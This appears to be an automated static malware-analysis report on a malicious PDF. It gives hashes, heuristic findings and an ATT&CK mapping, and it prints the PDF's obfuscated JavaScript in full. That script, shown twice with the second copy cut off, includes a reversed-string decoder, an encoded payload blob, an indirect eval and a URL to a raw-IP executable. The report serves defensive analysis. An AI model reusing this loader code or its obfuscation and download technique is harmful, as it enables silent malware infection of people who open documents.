Malicious PDF — malware analysis report

Static analysis result for SHA-256 b7d97e7d216ff7fb…

MALICIOUS

PDF

12.0 KB First seen: 2012-10-23
MD5: 5df4bac5f8fbd4752d4a3901cd3aca70 SHA-1: c979b80dc01218300d740dd262c586687d27d117 SHA-256: b7d97e7d216ff7fb468d63bf03799fe874a5f89a9428bd9ad8911dcb4a4a126a
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript with an eval() call, indicating obfuscated code execution. This script is likely responsible for downloading and executing the payload from the URL http://67.209.224.56/f.exe. The presence of JavaScript and an embedded executable URL strongly suggests a malicious document designed for initial payload delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var nBXqBK;function FMbmU(){}function RbIMI(){var phUyi='lNPQu';if ('BaglW'=='XyQRoR') YogwvA();}
t('app.eval(app.sttr)');
function RMrM(){}var EiOBYP='EgVsWy';var yFjkMl=118;function UadZi(){var oLzRH='wEvNM';if ('UZDQzh'=='leWBE') VlQP();}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://67.209.224.56/f.exe Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x1B0 11510 bytes
SHA-256: 4f7332319a11ae1a8a7fd87650b5ad5864d2a5086b004101debba669149c0ebe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). 61 of 99 identifiers look randomly generated (e.g. 'stneellrtSot') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if ('Dnam'=='NzKzK') bUGYM();var AGwjFd;
if ('eBqAEX'=='qAXf') QgKIi='AZApS';if ('XFkRm'=='oozJ') TQKb();
app.fu="http://67.209.224.56/f.exe?";
if ('MZkOuS'=='bbCW') WzBKam();
function eEuF(){}var tSCEWT=163;if ('qhvoF'=='aDGS') TtnAj();if ('jpISN'=='Ufnb') MozK='LNHr';var gxuS=268;
b = "oP\nZAeRpBzuf=(noitcnqAteERq,JXGBXnuf{)FMitcJInV no{)(dg'(fi}pAAbcE'=='XRZQRpXu)'E'=;'vrNIJ(fi'vIsGn''==)'urRSuqnaxFRo'=d'fJ=QZZeU;nufH(noitcYWRg,PVOhUpxy rav{)ftnzn=ousuf we(gnirtSf;) rav(rotVl0=SWYDyVl;<SWYDytWRH.PVOhUYneltVl;htgYDyv{)++SW ra=iaMIEFWRH.PVOhUYahctVl(tArYDyahc.)SWoCr)0(tAedav;TQYZp rg=nhc.fpxyAraDytVl(tSWY.fpxyg%nelhc.)htgCra0(tAedoz;)ousuftnS=+f.gnirtmordoCrahC((e^iaMIEFYZpyg(^nTQfpxhtgnel.02%\n};)))0tertnz nrusufuf\n};outcnlsc noi(sbZ rav{)zyVQNr'=PxdLsN'(fi;'QHZXV'=='y'Td(HXBQk)};)auG'(fi'UfCOPu'=='wzSpvTiU);)(vGP rav=fdoitcnufH(nVOhUYWR{)Pstu ravXVnrof;\"\"=av(DytVl rSWYytVl;0=WYDUYWRH<SVOhtgnel.Pl;hSWYDytV2=+Vnstu{)=+X.gnirtSorfoCrahCm(edRH+\"x0\"UYWus.PVOhtsbVl(gnirDyttVl,SWYYDy}))2+SWer\ntu nrutVnsnuf;};XitcyrBD no{)(ZU rav};VMako'(fiXIDJfH'=='mvX=hJvW)'Jr'av;'McYP rAt;yUjiJXq(fdvGP=qAt(fi;)JXcy'=='pxXxVA'G)'olbugvF(fi;)(AXc''=='KjQrRSlZ)'rgBOFDrav;)(xuy iN'=fXdvzltcnuf;'noi)(pIpA av{=tVIG rVf'i;'Roni'(f=='eQHSKx'lF)'zxCwuSMm\n};)(Nasra=OTjomugac.stneellrtSot.egnilper.)(ecaBXeERq(FMGuf;)'',tcnQuj noi(hA rav}{)TMHltj'=CQYVVtcnuf;'noipFgytv {)((lave\n}ZeUXqAt(QZm,JTjoNasM))OuE'(fi;PCJoN'=='XhiykMLc)'F=zA'dIdLz'av;;DaGQ rrav;nGJhV rav=OkSkF Bx'(fi;'iYbz'=='iRBxeH'Ar)'tCh(EOk'(fi;)HDUvV'=='SATNmtVN)'W;)(cdfc'(}abbf8ae5a1acabfeb38ff2e2f8f883fafafdf8ecf0e0f6f7f4f1f0f596e3f2f19598e6e3fef7e3e1e3e0e2ef82f0f285f3f1f2f8f8edfdf4f0e193eff2ee89e4f4f2f1e5f49deaf2f797f889e3f0f8e8e9e9e7ede1fd82fa8de2f8ef8efaebe1e1eaedf4fce7e8e1f08efafaf5ede4fc92faf0e2f9e4908ef382f5e2f4e4fae1edf3fbeee1f5f697819d82f48ff3eeff96e5f1edf6faf7e3fbf5eb84f293e189e1e3f6f1e8e0e1e7e9e7ffe9e0e4fde5f4f38e8bf4f8f183e686fbeff6f9e3e8e6fff0e4f4f4eee7e2f1e8e9e0fdf5f6e5f2f6edf6e0ec95e4f9ec81f5f5f48d85f5e9eae4f2eef2f2e0e1fcffe9828fedf4e687e79cf3e0f8f0e5e2e5e1e7f5f1fef3f582fbf8eafce4e2f4e29788e295f0ecf0f29ae4e1e9eeebe7eafff7e4f8e6fee09ff7e7f594f7edf5fdf7e5f1e9f9e0e7e3f6ef8ee9e5f2e4e59594e084fc81e88ff1eff3effff2e1e6e2f4e8e885feeef482f1f5f3f98fe298eef0f5ffe0e2ecf0f5f2fdebf6879ee7f0fa8fe4ebf8e2e5e2e2e5f5faf7f7fff69ef2e8e790fdf7f4f789f480e8f4fbeae0e4e5e3fae1e7f2f9eaffe780f9f8e093e2e6fbff8fe3e7e1e7e5f0ecf9edfae48cfbebe399f0eef1f7f7e497e0f4f588e7f6f3e49df685e2faecf2f6f6f7e1edfaf4f4ebf7f6f485edf3e393e7efe5e388fa8af6eceff0f7ece1e2eff5eff3e081e5edf9eb92f286f28ce5e2f789f7f2e5faf5fb8ce4f3f48febede2f88fed95e7f2ebe7e2f0f2f1e1e7e7e8fe879ff2edee8febe4e896eaf4f7ebf3faf693ede5fbe688e6e5e192f8f5ff9196e5f3e7f8ecffe7e0edf1e5faf8e7f6e1f5e3e6f5ffe5e1fdf4f6e5e5f6e7f2e8e2e9e5f3e5fbe6efe7e0f8fcfae4feedeef2f0f5f3f1e0e7edfce6edfcf3f0e3eaf4f7e4edf4fbf1f1f3e3e8f4f7fffdfff3eaeaf2f08bf3fcf5efe2ffe7ecffe3f7e4f2f9e4feebfbf0fff6e7e0f2ef85f196f0e4f0fbf09feff0f0e7e7e2f6e5e1e8e0eaecedf2f6faf3eff2fdfae1f9e1e2fef3f8ffe2f1f2f3e5f2e2fcf8e8f6e282fdfaf4f3fee1f9e0e6e2f8e7ecf7e3f0f5eef8fae0e1eef1f8f3f7e6f4f4eeebfcfae0e8f3f590f0f2f8faf3fcf3e6f8e9fae6f0f0e1f4e4f3eeeff6eee2ffeef2e1e0eafde0f1ff90e0ecf7f3e6f6e4f2f0e4f2e5efe7e0f88e8bfdeeef94f5f5f5e0ecf7e2e799f2eff992ff92f1faee8be8faef8191e5e7e193f3e8eb8fe8efedfbedf2e0f8828e84f2e3e6e5f888f1ffe1e7e5fdf9e7eae49aeff4ffe5f593fcf1e3e7e6e5f8e0f8ed8fe1e6f987e6eae4f9ea85f0eff7e5ebe4e5fbf7e5e0f489e7edece8e7ffe0eff2e1e5ece68f9ae2f6e6f88ae3f1e0eee781e0e9f5f1e2f5eeffe4f782e292ee80e390eaf6eaf7e5ecf9e496f3edf68fe6f7e4f5f48cffe9eef6eae8ebe4e9e2f0eb88829584f0fbe8e2fef6e5f3ed86f7e6f1e7e9e6ffe3f4f4fde3e3e2838a839ef6e0e2e5e4f9effffb87e4ebf3f1e5fff2f983fff2f28ce98ff6e6e890868493e1faeef7f1e3e3efecf4f79cfbfae9e4fee9ecf8f0e7f4fbfde2e182f9e7e398edf4f5f1f9f0e98c8eff90fb8ef2eee2ffe8e2fcf0eaf7e083e9f3e5e889e797f598eff5e883e0feecf989e98fe3e2e4f0e3f4f6eee4f491edf0ede0f2f3f1e6fdfefdf4f7f38bffe0e0e5ec89ecf1ef86fae991e08be1e7e5e8e8e3f6f7e3e1f084f9e7e4fdffe0f0eaf0f1ece8eaece49a9695fffeeef8e6fee2ecf594f3f5eff2fbf0feea97e29ae4e2e894f2faf5fcf5e7e3e7e7e4f8e3e1fae5e5f3eefbfff7e4f2e2fbeff4fae3e8e6fff0e4fbf0fee7e7e6f2ecf1f7e0e7edfce6eee4f3f0f4fcf1e8f2e397eafef9f1e2f6f2ecefefe1ebf6fce3e7f086f8f79d82fc93eb84f091ef93f382e895e49489e3f8ef8fe6e0e884eff8e593e89397e0ecf7f5f5ece8fde58f908f86f183f1e3f0efe1ecf1e0f296f083fb82e0e1e5eff9ef83fe83f5e6f093ef81f8e3e4faf4f2f5f2eff5eaff8ff0f9f3ecf2fde2f98df1e2f886e287e382f8e9f4f4feeffae5eef2f2f99df6e5f3f6e2f2f8e3f7fc82fafce2eee6e7e3e0f4f6e2f1e8e4f5e880e0f2e3eaf9eaeffcf4f483e6f0e7fef9f2e2ecf0fde5ecf4f787fcf0fae0eff1faf2e2f0e2eeadbac1bdb3a6a5b5ebb59aaeb4b7abaeb7a8febfb9b6bdb581a3a7b3feb7cda5ecb9a9b4eae1bbb3a6b686aeb0a3edabafa3bfa1abe9f7e6e6fab0f19ca4a6b5a1a0afb6fde0e0edecb395f6f6f7d7ffbba7ada4ecaab8a4ada2b183a4b7b7f7a3afe7fdeeeaecb1c9e3ada3bffde4a4a9e9ade7fafafcb7a4e6e7bea4bbb190bebeaef9aca9aeb1bda7f7fdf0e3aafafdccb9f0a3a1a2e3a3baacb3ae94b1aaedacaefae9ada5e79ebeb9b2b9afbdbbabedb6b9a9b68c95a4a4eeb6fef699a6acb2ada9b9aff4ebe3ebfca0b1b0b688a3b9b4b291e0acdee9f5b8b6a5e2e0afafabae89b6a6e5a9a9a4e3a5a8a0bea4e8fee3fbe2b5ada1b093a5b9b8a9a3fae5e3eaf4a1bfef84bca8bca0b8b1e6eaaeb1c4efb7a9a3a4b28aa3acbfa6aeb1e9f5a2e6f0afb2bea48aa2a4a2e6bcbeaeb187a6a7b3fea588eabce2e1feb5a8a3ac98bda4fbfcb4e9f8b0b3efbe93a7abb0af81f2b5b6e4e6bfbfcce6ffa9b3a4a893a2bcaaaaa0aff0fea2abbeb5a8f0f3f2fbe9a1baa893a7aeb2b2aeb8e4efe9efecbcf385beb1a2a4a2a5bcf2b4b7c7f8a8bcbeb49ab1abfcbebefce0bfe0e0edf1bae3e7aeb0b8b097a7b7e6b1b5a9e092adb5bba3bfaeafffa0a1c6fdbca4b8b5b898acb3a8b6bca7ecffe6afea9ea2b3a8afa8b7a4eaaddba0dca2a8b4a3a8e3a5afb0b4adaf94b6a4b3b7b5a2b4cde7adddabbba19984ef83bceaf8b1a6e3a489b3bfb0a9afb4bef9b2bea8afadffb1acb180a492b0e1eeb5a4a9abf7fbe4ada4ebe8f7f5f5f0a9a0a9b4afb5bba1f8e6e3eef9e3eecee5e6acb1a9e2b4ba8999be95babaf6fba0b5ebbc80aebca2b4a2a5b2e0a6b3a9a6bde2b1a3a989ab94bcffefb9aab0b8f0ebfbb2bae6f0effde4f2b3a3b5a3aaafb3a3eee7ecf2f4e3fbdff4e3b0bda2edb2be9298a283a2ace7f7f6a9bcb5a386b1a7e2bdaeb0b4b3b8a8bba49df8acbbbcfaa28ca9ecf7a6bea8afeee9e5feb8fff7e8b1eaadaeaeaabae0b7b6e3f3f2f5e7e2e7b8cee4adb3aeb8b6baad89b1e78ca2e8a08e87adb0a083b79e90e1ed8ba59dafb3e89abcdebfb8a5e9a6ae8fa4b3b091a186babfebbfb7edaeb2e2e990bf99b0b5ed8597a0a1a09d879eb1f1ecb28fa8ada190a18bdfbeee8bb5a2b286b28d8fa1fda186a892a0bae6a3b9b6a6bdb9b6a3e7eea286f7b981809ebfe0e8cee3f5a3a2bebeb7e5aa9c93b2a0a9f0a299bbd2a0adc1abb2aab5a1faa380b89aa791b69493f7ecaec1aeaab78595e18abba1878dadb2a2ace8f1b5afb897a4a7fff8ffadd4efbba7b6b78580a6e593a9a9bca1b1adb2b992f18ca59de9adbddff4b0b5afa7f491a3bf90ad8d92afbbe48ab4e08c86a0abb7bea8f9abd9f7eabca5a1f9a8aebead809bb5f1b3bbafb6a2e1b9a7f7f1ebf0a6fcefe0b0e7fdf5e8e7e9c6f0bbb0a18387a0f9b0bb88a5909ba7e28ea3a2ad8df6e3e2ecb7effbf3eae4b8faf6b3ac80ae8d93bbf5e89aeabfeee4f2c0e3b7b6a1b0fe9da18eb1aff2faecefa4b6f2bab6eaf5bdf2b0edf6e1f5e0f2e5eaf7a1e1e2f1e2faf8c3fcf5b3adbdfcbab0bf9a95f2ac92eae2ad9ee6b18b8ff2bcb093b9b8879af5a6828ee2b0a3ebeb8ecaa0ae8b929c9ca1b29e9da0818b8db1bfb0f99baea5ba95a6a8fa9db6fd998cb6cab0bfc7f9a9b892a9b3acb1f393bcafa5b7b4a6b5e2fff8f7b5a6fcafb2faf2b7e9eea9ddf8f6a8b7baa9aaaeeda0a89894bca1a2eba8bdeaa1acedf4e0f6f3b4e1a48abbb0a9f1f6868ebcafa8b8e794a4cfacaaa6a4eab5a9b9aba6b0b392aba6bc9afeadbda6a4b2a8aff0a9bcbba4beae95bcaba7b883e9aca5aca2a7afb2ffebb9ece5aeb287ade7b0abb381baecedddb7cdbcaebea3a9acafa3f9ab959da2ae9880bcf8faa8dda991bfab8babaea1f9b3a0bca5b6e2beb8eee294f0e29bebf0ac89e092b2f6e196e0ed8694e3b881eefdefeba6c1f0b4b7bcbb9486b0fd88a8aab6b7b2bfbaa4a2f395bc8588a3baa8b7e8fc98b5cc8391f2b1b0bebc8ca385aaf198aaa087989acef4a29ae2a3a1afa0b8afbab4a6e5e3afb2f2fa80fee09696f2b989edece5fcbadd978b98a3a2b4a5a0f1fbd9fbfc8c95a9a3a6a4a5b7efa89480afa385b5a9aaf8a6819abeba95b3e7b8b0aba2aabcdef4b8a5e9a6ae839db5bfb0abfeb4b4bebfab879ce9b0afafb8a1fea58fc9bfa988f8beb498e3b5a181f8aac0bcdeaf94aeb3a898e3a6a181edb3b9b6b3b6a9b6a3a6edbb96f7e7ae80aba6a3aeacd1eef495a4bfb6a78db18699f2bcb2ace6aaa9b9bfa5b5b9b7e8f6a89dfbb4bd99fab4b2b3a4b6b18bffb2bc8abfbcb3b0addbf4edadbfbdb4a4bdfda1a690b9a9bbed8fbba8a5acab9ef2afa092a5bbfeb7b0a5f5faf6effae9d0a2f084a0b4a4a683be82b8f5aab498b4bcbefeb1b690b2a194e582a7bbf2a5aabdd481a6c782b9bce582b0a8bd8deda7b0f3f2a7d4f2a1a2bcaaeae2f4f5edadf2fffae7e4e9e9abb6eb9bbccd86bda69d86fc89a881aba8aee985a389b9bc939bffa1cba3c6a3a189e3a38ab2bc9ab2f1bceffdf7eeeffaedf3fceeeff6fbfbe5fbf9e7f0f4feedf3f2e0f8f3f2e1edeffff1eafafdeaf9f9eafde5f3f9e2f3e0f0f2f3e9f1edf2f9efe3fef2ffede0fdf6f8f5feedffefe5f4f2eaeeedfefaf5f4f2ffe8f5fcfdf2f5effee9f8fbebedf2fde9e5f9eeede8feeffae5fae4fdfefdf3fee2ffe8f5f4f2ecf3f5e3eafdedfbe9edffe5f1eee5f4fee8eef2f9efecf5f9e4fdfcfdefe7f9eaf2e3f2efe7f7ffecf5fef3fde2efe7eaf3f2faf9f8ffe9eaf3e7f3f8f2efeafefff4f9efebe9eafdf5fbe3e2ecfdf9eaf3f8ffecf2efe7e2e7fdfbe3fef3ffecf5f8f4f9eaf3fff5f1efeeffeee8eeede4f5f2f9effcf6f4f9edf3fff4f9eafef5fbe2faecfdfbe3e2f7ffecf5fee3feefeef9f9efe5f1e5edf4fee8eeedffe8f5fef2f8e8f5f4f7fafde8e9e9ebd0e1e2b5a4f9a3a3b7b2aba3aae4a0ecf4fdeff4a5e3e5f3f280b1999ab3e1b2bcc7f4afd6b7b4a4a4a4b8aaaba0a1f287a6e2f48adca4beadb09de68cb69e978ab1adb0b0fdedb4b9b587bda3a7e3eea6caebf0a6a0aaa3bfe4e2b8b4ae8bbbb3abfda2b4bdb9be9ff3aeb5dca4a4abbabde786a0b3818ca0a7e6b4b8bda6a9e7a4b698bdbf84aab48cf8f6bca3c1f0a6bcb2b59785b7ecadb5b0a5b0aeafbfe6edf9f0b4f8e9f9b4fbf5e2eaf1efccfff8bfb29088b6ffb0a092a09980abfaaabbb3a29280e1e2fdbafcebe6eff9ebe9f0a5a3a6828abae68eaba8b3aaa8faeebff4e0e5faeef5efb0c6e3a5ab8b8eb4a491efedfea5fee3aeacf9a7b9fab5e6e5f5e5fff7e9e6e2b7efe4f8fae7e5ede4fda3bcc8edbcb3b1aea0f1f9f1fbecac94949abfa2f0b3f8eceb88ceaea381818b82a6a1aa88a3e594a3bfb69c85b1e2b6bca2968a9bd3f3b4caafb7b08da0ef8892839d8cbbf3b8a8b0a4b5e8acbbe8e1fef4f0f9e9b4acdaacbaa5e0a68f938c8092fd95b9abacb2adfaeda2e8bdfcfaf3b2e78190af8482f1838fa0f1928f8d8c89adfd9dadd589908b8f90e8e18def95b1f5f18d97859a8efd9fbaaddff7a2bda1b48ce7aca4a9b3a2b8a9f38eafbda8a9b4e4938c8d989ff4e380a0dac8b9d683b68680bee18baaa5a7bdfaa3b3a5bd81cbf8b9b4b097eeb0a9baa3b89beb95ada6ada2a1baa48fa9fcebbebda7a7a1b2a588b9a6b8a5b2b2b1ebac92a8b9b3a7b8a3e8fef0aab797b6b5f4affcecfec6feb5a1bab5e1edb1b6e9b3bae2f8a5e691bd93938daba4f3a4aefaa2a2ffbea3eff2b9dda9f4acab8b9f9494bb93a2e79ebaabece7a890feb6ae95a8b6e6f6b5dca8a6b9b0abe58aa2849287eeb38c9eae9c91bb978be994a1a7aba8bcb9aeb6acccf2a1c6b8acddf7f086a2e998ab989f86e3bffeebfcbda68ffef1b3afa9a387fa98f5f1f7fcfe8abae382a9859d9dfcbff3f8e2e1f3e8fbe7a9ecb7add181b3eaf480defebbfdb0afb5afe4a5e3b7a181ac8886ad9394e6ebeff5f8bffb95afcc9797bea6b8bd86f5e2e0a9ddb7a5fea4aaa4aae0e2e5bd8eed9ba38bb2bafdeeb0eaffeda4b0a08cb89ffd8fb3f2f1ffefe8faeaae8abf8586af9194fef7f3e8e7fceddbbdefa98ebe9b8f9d90e9f4a2cce,'cd8b5^[/)g/]z-a\n";
function gcGwx(){}var MKUyi;function YzyL(){}
function Msvkinaum(text,str_key){str_key=""+str_key
var return_text="";var rand_key=0;for(var i=0;i<text.length;i++){if((text.length-i)>=parseInt(str_key.substring(rand_key,rand_key+1))){for(var i2=i+parseInt(str_key.substring(rand_key,rand_key+1))-1;i2>=i;i2--){return_text+=text.substring(i2,i2+1);}
i+=parseInt(str_key.substring(rand_key,rand_key+1))-1;}
else{return_text+=text.substring(i,i+1);}
rand_key++;if(rand_key>str_key.length-1)rand_key=0;}
app.sttr=return_text;}
if ('OMjCWn'=='tvGVCb') gIvx='UVXB';function kElGO(){var CDkR='LUpBpF';if ('Vzxb'=='izep') eWDi();}var lJeqki;var scbeF=46;
p = 307;
p += app.doc.pageNum;
Msvkinaum(b, p);
function HZcpFI(){}var CnDd;
t = ("wdxw")[("dfsdfsdf", "eval")];
var nBXqBK;function FMbmU(){}function RbIMI(){var phUyi='lNPQu';if ('BaglW'=='XyQRoR') YogwvA();}
t('app.eval(app.sttr)');
function RMrM(){}var EiOBYP='EgVsWy';var yFjkMl=118;function UadZi(){var oLzRH='wEvNM';if ('UZDQzh'=='leWBE') VlQP();}
if ('fgvP'=='UQlMRf') bRdGZv();if ('NVqL'=='VbhpA') hIMyil='DFLex';function ZxzOn(){}
javascript_obj0005_001.js pdf-javascript-stream PDF /JS object 5 at offset 0x1D4 11794 bytes
SHA-256: 3478ce0831809b73cbf94a4c7d2905671c5a846c67a997d73ee71756d44a5b34
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). 62 of 105 identifiers look randomly generated (e.g. 'stneellrtSot') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if ('Dnam'=='NzKzK') bUGYM();var AGwjFd;
if ('eBqAEX'=='qAXf') QgKIi='AZApS';if ('XFkRm'=='oozJ') TQKb();
app.fu="http://67.209.224.56/f.exe?";
if ('MZkOuS'=='bbCW') WzBKam();
function eEuF(){}var tSCEWT=163;if ('qhvoF'=='aDGS') TtnAj();if ('jpISN'=='Ufnb') MozK='LNHr';var gxuS=268;
b = "oP\nZAeRpBzuf=(noitcnqAteERq,JXGBXnuf{)FMitcJInV no{)(dg'(fi}pAAbcE'=='XRZQRpXu)'E'=;'vrNIJ(fi'vIsGn''==)'urRSuqnaxFRo'=d'fJ=QZZeU;nufH(noitcYWRg,PVOhUpxy rav{)ftnzn=ousuf we(gnirtSf;) rav(rotVl0=SWYDyVl;<SWYDytWRH.PVOhUYneltVl;htgYDyv{)++SW ra=iaMIEFWRH.PVOhUYahctVl(tArYDyahc.)SWoCr)0(tAedav;TQYZp rg=nhc.fpxyAraDytVl(tSWY.fpxyg%nelhc.)htgCra0(tAedoz;)ousuftnS=+f.gnirtmordoCrahC((e^iaMIEFYZpyg(^nTQfpxhtgnel.02%\n};)))0tertnz nrusufuf\n};outcnlsc noi(sbZ rav{)zyVQNr'=PxdLsN'(fi;'QHZXV'=='y'Td(HXBQk)};)auG'(fi'UfCOPu'=='wzSpvTiU);)(vGP rav=fdoitcnufH(nVOhUYWR{)Pstu ravXVnrof;\"\"=av(DytVl rSWYytVl;0=WYDUYWRH<SVOhtgnel.Pl;hSWYDytV2=+Vnstu{)=+X.gnirtSorfoCrahCm(edRH+\"x0\"UYWus.PVOhtsbVl(gnirDyttVl,SWYYDy}))2+SWer\ntu nrutVnsnuf;};XitcyrBD no{)(ZU rav};VMako'(fiXIDJfH'=='mvX=hJvW)'Jr'av;'McYP rAt;yUjiJXq(fdvGP=qAt(fi;)JXcy'=='pxXxVA'G)'olbugvF(fi;)(AXc''=='KjQrRSlZ)'rgBOFDrav;)(xuy iN'=fXdvzltcnuf;'noi)(pIpA av{=tVIG rVf'i;'Roni'(f=='eQHSKx'lF)'zxCwuSMm\n};)(Nasra=OTjomugac.stneellrtSot.egnilper.)(ecaBXeERq(FMGuf;)'',tcnQuj noi(hA rav}{)TMHltj'=CQYVVtcnuf;'noipFgytv {)((lave\n}ZeUXqAt(QZm,JTjoNasM))OuE'(fi;PCJoN'=='XhiykMLc)'F=zA'dIdLz'av;;DaGQ rrav;nGJhV rav=OkSkF Bx'(fi;'iYbz'=='iRBxeH'Ar)'tCh(EOk'(fi;)HDUvV'=='SATNmtVN)'W;)(cdfc'(}abbf8ae5a1acabfeb38ff2e2f8f883fafafdf8ecf0e0f6f7f4f1f0f596e3f2f19598e6e3fef7e3e1e3e0e2ef82f0f285f3f1f2f8f8edfdf4f0e193eff2ee89e4f4f2f1e5f49deaf2f797f889e3f0f8e8e9e9e7ede1fd82fa8de2f8ef8efaebe1e1eaedf4fce7e8e1f08efafaf5ede4fc92faf0e2f9e4908ef382f5e2f4e4fae1edf3fbeee1f5f697819d82f48ff3eeff96e5f1edf6faf7e3fbf5eb84f293e189e1e3f6f1e8e0e1e7e9e7ffe9e0e4fde5f4f38e8bf4f8f183e686fbeff6f9e3e8e6fff0e4f4f4eee7e2f1e8e9e0fdf5f6e5f2f6edf6e0ec95e4f9ec81f5f5f48d85f5e9eae4f2eef2f2e0e1fcffe9828fedf4e687e79cf3e0f8f0e5e2e5e1e7f5f1fef3f582fbf8eafce4e2f4e29788e295f0ecf0f29ae4e1e9eeebe7eafff7e4f8e6fee09ff7e7f594f7edf5fdf7e5f1e9f9e0e7e3f6ef8ee9e5f2e4e59594e084fc81e88ff1eff3effff2e1e6e2f4e8e885feeef482f1f5f3f98fe298eef0f5ffe0e2ecf0f5f2fdebf6879ee7f0fa8fe4ebf8e2e5e2e2e5f5faf7f7fff69ef2e8e790fdf7f4f789f480e8f4fbeae0e4e5e3fae1e7f2f9eaffe780f9f8e093e2e6fbff8fe3e7e1e7e5f0ecf9edfae48cfbebe399f0eef1f7f7e497e0f4f588e7f6f3e49df685e2faecf2f6f6f7e1edfaf4f4ebf7f6f485edf3e393e7efe5e388fa8af6eceff0f7ece1e2eff5eff3e081e5edf9eb92f286f28ce5e2f789f7f2e5faf5fb8ce4f3f48febede2f88fed95e7f2ebe7e2f0f2f1e1e7e7e8fe879ff2edee8febe4e896eaf4f7ebf3faf693ede5fbe688e6e5e192f8f5ff9196e5f3e7f8ecffe7e0edf1e5faf8e7f6e1f5e3e6f5ffe5e1fdf4f6e5e5f6e7f2e8e2e9e5f3e5fbe6efe7e0f8fcfae4feedeef2f0f5f3f1e0e7edfce6edfcf3f0e3eaf4f7e4edf4fbf1f1f3e3e8f4f7fffdfff3eaeaf2f08bf3fcf5efe2ffe7ecffe3f7e4f2f9e4feebfbf0fff6e7e0f2ef85f196f0e4f0fbf09feff0f0e7e7e2f6e5e1e8e0eaecedf2f6faf3eff2fdfae1f9e1e2fef3f8ffe2f1f2f3e5f2e2fcf8e8f6e282fdfaf4f3fee1f9e0e6e2f8e7ecf7e3f0f5eef8fae0e1eef1f8f3f7e6f4f4eeebfcfae0e8f3f590f0f2f8faf3fcf3e6f8e9fae6f0f0e1f4e4f3eeeff6eee2ffeef2e1e0eafde0f1ff90e0ecf7f3e6f6e4f2f0e4f2e5efe7e0f88e8bfdeeef94f5f5f5e0ecf7e2e799f2eff992ff92f1faee8be8faef8191e5e7e193f3e8eb8fe8efedfbedf2e0f8828e84f2e3e6e5f888f1ffe1e7e5fdf9e7eae49aeff4ffe5f593fcf1e3e7e6e5f8e0f8ed8fe1e6f987e6eae4f9ea85f0eff7e5ebe4e5fbf7e5e0f489e7edece8e7ffe0eff2e1e5ece68f9ae2f6e6f88ae3f1e0eee781e0e9f5f1e2f5eeffe4f782e292ee80e390eaf6eaf7e5ecf9e496f3edf68fe6f7e4f5f48cffe9eef6eae8ebe4e9e2f0eb88829584f0fbe8e2fef6e5f3ed86f7e6f1e7e9e6ffe3f4f4fde3e3e2838a839ef6e0e2e5e4f9effffb87e4ebf3f1e5fff2f983fff2f28ce98ff6e6e890868493e1faeef7f1e3e3efecf4f79cfbfae9e4fee9ecf8f0e7f4fbfde2e182f9e7e398edf4f5f1f9f0e98c8eff90fb8ef2eee2ffe8e2fcf0eaf7e083e9f3e5e889e797f598eff5e883e0feecf989e98fe3e2e4f0e3f4f6eee4f491edf0ede0f2f3f1e6fdfefdf4f7f38bffe0e0e5ec89ecf1ef86fae991e08be1e7e5e8e8e3f6f7e3e1f084f9e7e4fdffe0f0eaf0f1ece8eaece49a9695fffeeef8e6fee2ecf594f3f5eff2fbf0feea97e29ae4e2e894f2faf5fcf5e7e3e7e7e4f8e3e1fae5e5f3eefbfff7e4f2e2fbeff4fae3e8e6fff0e4fbf0fee7e7e6f2ecf1f7e0e7edfce6eee4f3f0f4fcf1e8f2e397eafef9f1e2f6f2ecefefe1ebf6fce3e7f086f8f79d82fc93eb84f091ef93f382e895e49489e3f8ef8fe6e0e884eff8e593e89397e0ecf7f5f5ece8fde58f908f86f183f1e3f0efe1ecf1e0f296f083fb82e0e1e5eff9ef83fe83f5e6f093ef81f8e3e4faf4f2f5f2eff5eaff8ff0f9f3ecf2fde2f98df1e2f886e287e382f8e9f4f4feeffae5eef2f2f99df6e5f3f6e2f2f8e3f7fc82fafce2eee6e7e3e0f4f6e2f1e8e4f5e880e0f2e3eaf9eaeffcf4f483e6f0e7fef9f2e2ecf0fde5ecf4f787fcf0fae0eff1faf2e2f0e2eeadbac1bdb3a6a5b5ebb59aaeb4b7abaeb7a8febfb9b6bdb581a3a7b3feb7cda5ecb9a9b4eae1bbb3a6b686aeb0a3edabafa3bfa1abe9f7e6e6fab0f19ca4a6b5a1a0afb6fde0e0edecb395f6f6f7d7ffbba7ada4ecaab8a4ada2b183a4b7b7f7a3afe7fdeeeaecb1c9e3ada3bffde4a4a9e9ade7fafafcb7a4e6e7bea4bbb190bebeaef9aca9aeb1bda7f7fdf0e3aafafdccb9f0a3a1a2e3a3baacb3ae94b1aaedacaefae9ada5e79ebeb9b2b9afbdbbabedb6b9a9b68c95a4a4eeb6fef699a6acb2ada9b9aff4ebe3ebfca0b1b0b688a3b9b4b291e0acdee9f5b8b6a5e2e0afafabae89b6a6e5a9a9a4e3a5a8a0bea4e8fee3fbe2b5ada1b093a5b9b8a9a3fae5e3eaf4a1bfef84bca8bca0b8b1e6eaaeb